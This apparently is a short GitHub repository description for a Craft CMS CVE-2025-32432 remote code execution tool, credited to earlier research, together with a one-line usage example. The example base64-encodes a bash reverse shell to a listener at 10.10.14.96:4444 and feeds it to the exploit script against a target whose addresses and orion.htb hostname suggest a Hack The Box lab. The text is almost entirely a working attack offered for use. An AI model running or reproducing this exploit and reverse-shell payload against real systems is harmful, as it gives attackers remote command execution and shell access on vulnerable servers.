psyguy007-sys/craftcms-cve-2025-32432-rceCraft CMS CVE-2025-32432 command runner adapted from Nicolas Bourras and Orange Cyberdefense research
payload=$(printf %s "bash -c 'bash -i >& /dev/tcp/10.10.14.96/4444 0>&1'" | base64 -w0); ./craft_rce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb